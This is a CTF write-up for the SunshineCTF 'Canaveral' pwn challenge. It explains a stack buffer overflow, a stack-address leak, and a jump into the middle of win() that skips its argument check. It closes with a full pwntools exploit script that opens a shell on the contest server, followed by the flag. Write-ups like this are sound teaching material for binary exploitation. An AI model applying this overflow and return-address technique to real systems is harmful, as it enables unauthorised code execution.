ctf-writeups

Canaveral

NASA Mission Control needs your help... only YOU can enter the proper launch sequence!!

    canaveral

nc chal.sunshinectf.games 25603 

Decompile in IDA:

int vuln()
{
  _QWORD buf[5]; // [rsp+0h] [rbp-40h] BYREF
  _QWORD v2[3]; // [rsp+28h] [rbp-18h]

  memset(buf, 0, sizeof(buf));
  v2[0] = 0;
  *(_QWORD *)((char *)v2 + 6) = 0;
  printf("Enter the launch sequence: ");
  read(0, buf, 0x64u);
  return printf("Successful launch! Here's your prize: %p\n", buf);
}

void __fastcall win(int a1, const char *a2)
{
  if ( a1 == 201527 && a2 && !memcmp(a2, "/bin/sh", 7u) )
    system(a2);
}

There is a stack overflow in read(0, buf, 0x64u). We can override return address to win. However, it validates the arguments. Let’s see if we can bypass the check by jumping to the body of win instead of its entrypoint:

.text:00000000004011FD                 mov     edx, 7          ; n
.text:0000000000401202                 lea     rcx, aBinSh     ; "/bin/sh"
.text:0000000000401209                 mov     rsi, rcx        ; s2
.text:000000000040120C                 mov     rdi, rax        ; s1
.text:000000000040120F                 call    _memcmp
.text:0000000000401214                 test    eax, eax
.text:0000000000401216                 jnz     short loc_40122E
.text:0000000000401218                 mov     rax, [rbp+s1]
.text:000000000040121C                 mov     rdi, rax        ; command
.text:000000000040121F                 mov     eax, 0
.text:0000000000401224                 call    _system

If we jump to 0x401218, then the effective instructions are:

.text:0000000000401218                 mov     rax, [rbp+s1]
.text:000000000040121C                 mov     rdi, rax        ; command
.text:000000000040121F                 mov     eax, 0
.text:0000000000401224                 call    _system

Then, we only need to put the address of /bin/sh (it is 0x402008 in binary) to rbp+s1 (rbp-0x10 in fact), then it will call system("/bin/sh") for us.

How do we put the address of /bin/sh to rbp-0x10? The code leaks the stack for us, but it returns immediately:

int vuln()
{
  // ..., leak stack
  return printf("Successful launch! Here's your prize: %p\n", buf);
}

So we can leak stack address for the first round while overwriting the return address to vuln, which gives us another round to attack. In the second round, we put the address of /bin/sh on the stack, overrides the saved rbp so that the new rbp minus 0x10 stores the address of /bin/sh, then we jump to 0x401218 to get shell:

from pwn import *

elf = ELF("./canaveral")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")

p = remote("chal.sunshinectf.games", 25603)
# p = process(["./canaveral"])
# gdb.attach(p)
# pause()
# two rounds
# first round jump back to vuln leak stack address
vuln_addr = elf.symbols["vuln"]
p.sendline(b"A" * 0x40 + p64(0) + p64(vuln_addr))
buf_addr = int(p.recvline().split()[-1], 16)

# second round, set rbp & save &"/bin/sh" to rbp+0x10
ret_addr = 0x40101A # ret gadget to balance stack
system_mid_addr = 0x401218
bin_sh_addr = next(elf.search(b"/bin/sh"))
# the address of bin_sh_addr is new_buf+0x40+0x8*3 = new_buf+0x58
# set rbp to buf+0x70, new_buf=buf-0x8 due to first round, then rbp-0x10 = buf+0x60 == new_buf+0x58
p.sendline(
    b"A" * 0x40 + p64(buf_addr + 0x70) + p64(ret_addr) + p64(system_mid_addr) + p64(bin_sh_addr)
)
p.interactive()

Flag: sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}.